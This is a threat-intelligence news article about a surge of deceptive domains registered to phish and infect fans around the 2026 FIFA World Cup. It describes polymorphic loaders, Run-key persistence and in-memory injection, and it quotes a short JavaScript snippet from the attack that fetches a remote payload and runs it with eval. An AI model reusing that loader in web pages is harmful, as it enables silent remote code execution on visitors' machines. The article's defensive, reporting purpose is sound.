Hackers Registering Domains to Launch Cyberattack Targeting 2026 FIFA World Cup Tournament

Security researchers have observed an unprecedented surge in domain registrations in recent months, closely tied to the upcoming 2026 FIFA World Cup tournament.

These domains, often masquerading as legitimate ticketing portals, merchandise outlets, or live-stream platforms, serve as precursors to a multifaceted cyber campaign designed to harvest credentials, distribute malware, and siphon financial data.

Attackers are leveraging the high-profile nature of the event, registering deceptive domains up to eighteen months in advance to avoid detection and establish credibility among unsuspecting fans.

As interest in match schedules and ticket availability peaks, visitors are lured into interacting with these fraudulent websites, unknowingly initiating the infection chain.

BeforeAI analysts identified a cluster of over 498 suspicious domains containing terms such as “fifa,” “worldcup,” and host city names, with registrations peaking in August 2025.

These domains are distributed across top registrars including GoDaddy.com and Namecheap, as well as low-friction TLDs like .online and .shop.

In many cases, threat actors repurpose aged domains previously registered for other sporting events, further complicating attribution and takedown efforts.

The registration of domains anchored to future tournaments in 2030 and 2034 highlights the long-term strategy employed by these cybercriminal groups.

The impact of this preparatory activity extends beyond simple phishing attempts. Victims who input personal details on these sites may be redirected to payload delivery servers hosting trojan droppers capable of evading signature-based detection.

Initial reconnaissance indicates that the malware leverages polymorphic loaders to modify its decryption routines on each execution, thwarting static analysis.

Command-and-control (C2) communications occur over HTTPS to blend with legitimate traffic, while fallback DNS tunnels allow for data exfiltration even if primary channels are disrupted.

Infection Mechanism and Persistence Tactics

Delving deeper into the infection mechanism reveals a staged process beginning with a malicious JavaScript injected into compromised landing pages.

When unsuspecting users visit URLs like watchfootball-live.com, the script checks the browser environment and delivers a second-stage payload only if specific conditions are met, such as running outdated browser plugins. This selective delivery reduces exposure to sandbox analysis.

The following snippet demonstrates how the script computes a time-based hash to retrieve the payload URL:-

(function() {
    const key = "WorldCup2026";
    const now = Math.floor(Date.now() / 3600000);
    const hash = btoa(unescape(encodeURIComponent(key + now))).substr(0, 16);
    fetch(`https://${hash}.cdn-delivery.net/payload.js`)
        .then(response => response. Text())
        .then(eval);
})();

Once executed, the payload writes a small loader to the Windows Registry under HKCUSoftwareMicrosoftWindowsCurrentVersionRun to achieve persistence.

It then downloads additional modules disguised as harmless image files, which are in fact encrypted executables unpacked in memory and injected into legitimate processes such as svchost.exe.

By employing reflective DLL injection, the malware avoids dropping components to disk, significantly reducing forensic footprints.

The sophisticated use of aged domains, combined with polymorphic and in-memory techniques, underscores the evolving threat landscape as the world gears up for the 2026 FIFA World Cup.

Continuous monitoring and proactive domain blacklisting will be crucial to safeguard fans and organizations from this looming cyberattack.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.